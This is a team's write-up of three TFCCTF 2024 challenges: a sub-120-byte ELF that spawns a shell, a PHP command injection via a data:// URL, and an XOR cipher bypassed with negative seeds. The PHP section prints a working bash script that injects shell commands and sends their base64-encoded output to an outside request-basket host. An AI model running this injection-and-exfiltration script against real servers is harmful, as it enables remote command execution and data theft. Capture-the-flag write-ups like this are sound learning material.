TFCCTF 2024

Recently we participated in this year’s TFCCTF challenge. While our results were not perfect, we managed to score high 48th place out of 924 participants, who scored 50 or more points. Since this was the second CTF competition we participated in and our first ever CTF on which anyone could join, we are quite satisfied with the result. This post will mention only a few of our favorite challenges from the CTF however, if you are interested in other challenges and some writeups, here are some useful links:

https://lumablog.com/blog/04-virtual/
https://lumablog.com/blog/05-vspm/
https://github.com/MateiBuzdea/TFC-CTF-2024
https://p4rr4.github.io/posts/TFC-CTF-Surfing-and-Safe-Content/

For other information visit the official TFCCTF Discord server, you can find the invite link on their official website (at the time of writing this post the website was down).

Anyway, all the challenges were well-written and very interesting.

Santa’s little helper

We were given a Linux executable that asked us to provide an ELF file (which is a common format of Linux executables) which will be executed by the program. There is a catch though. The length of the ELF program had to be under 120 bytes. Solving this problem took us several hours. We wrote an assembly program that opens up the shell /bin/sh. After writing it with the least possible number of assembly instructions, we were left with a file that was 124 bytes. This was, unfortunately, still over the 120 bytes limit. To shrink this further, we had to analyze the ELF file format itself and overlap specific bytes that Linux completely ignores to get under 120 bytes. In the end, we got an executable at 116 bytes and inserted it into the challenge which allowed us to remotely execute commands on the server. After listing the content of the working directory, we found the flag.txt file which contained the flag.

Safe content

We were presented with a simple website containing only a single HTML form, this form consisted of a text input field and the submit button, the input field was labeled with Enter URL. We were also given a website PHP source code. By analyzing the code, we concluded that the content of an input field is used as a $filename argument of the file_get_contents() PHP function. The only limitation was that parse_url() PHP function had to return localhost as the URL host. After file_get_contents() returned file content it was then inserted into the shell command, this command piped file content into the base64 command to encode it and then saved it under /tmp directory.

Since file content was not escaped in any way, this was an exploit we were looking for. All we had to do was somehow set file content to our payload, for this purpose we used data URL scheme. We wrote the following shell script that can be used to generate and send a URL that will inject and execute any shell command and send us the command result.

#!/bin/bash

COMMAND=$1

REMOTE_EXEC=$(echo 'echo "<?php file_get_contents(\"https://rbaskets.in/k67tcga?data=$(' $COMMAND ' | base64 --wrap=0)\");" | php')

PAYLOAD='$('$REMOTE_EXEC')'
echo "Payload:"
echo $PAYLOAD

URL='data://localhost/test/plain;base64,'$(echo $PAYLOAD | base64 --wrap=0 | base64 --wrap=0)

echo 'URL:'
echo $URL

echo "Sending payload..."
curl -G -d "url=$URL" "http://challs.tfcctf.com:31116/"
Bash

The command result was base64 encoded and sent to our request basket. After executing a few ls commands we finally found /flag.txt file with the flag in it.

Secret message

We were provided with the code that encrypts the flag.

import random
import secrets

def hide(string, seed, shuffle):
    random.seed(seed)
    byts = []
    for _ in range(len(string)):
        byts.append(random.randint(0, 255))

    print(byts)

    random.seed(shuffle)
    for i in range(100):
        random.shuffle(byts)

    res = bytes([a^b for a, b in zip(string, byts)])
    print([a^b for a, b in zip(string, byts)])
    print(chr(res[0]^byts[0]), res[0]^byts[0])
    return res


actual_random_number = secrets.randbelow(1_000_000_000_000_000_000)

flag = open("flag", "rb").read()

print("Give me 6 different seeds:")

seed_1 = int(input("Seed 1: "))
seed_2 = int(input("Seed 2: "))
seed_3 = int(input("Seed 3: "))
seed_4 = int(input("Seed 4: "))
seed_5 = int(input("Seed 5: "))
seed_6 = int(input("Seed 6: "))

seeds_set = set([seed_1, seed_2, seed_3, seed_4, seed_5, seed_6])

if len(seeds_set) < 6:
    print("The seeds must be different!")
    exit()

hidden_flag_1 = hide(flag, seed_1, actual_random_number)
hidden_flag_2 = hide(hidden_flag_1, seed_2, actual_random_number)
hidden_flag_3 = hide(hidden_flag_2, seed_3, actual_random_number)
hidden_flag_4 = hide(hidden_flag_3, seed_4, actual_random_number)
hidden_flag_5 = hide(hidden_flag_4, seed_5, actual_random_number)
hidden_flag_6 = hide(hidden_flag_5, seed_6, actual_random_number)

print(f"Here is your result:", hidden_flag_6)
Python

We can see that the flag is encrypted 6 times in total. The program prohibits us from using the same seed twice because if we could we would cancel XOR with the same key. After some trial and error, we figured out that random.seed() doesn’t distinguish between random.seed(1) and random.seed(-1). With this knowledge, we can bypass this part of the code.

if len(seeds_set) < 6:
    print("The seeds must be different!")
    exit()
Python

Result:

python main.py

Give me 6 different seeds:
Seed 1: 1
Seed 2: -1
Seed 3: 2
Seed 4: -2
Seed 5: 3
Seed 6: -3
Here is your result: b'TFCCTF{i_am_flag}'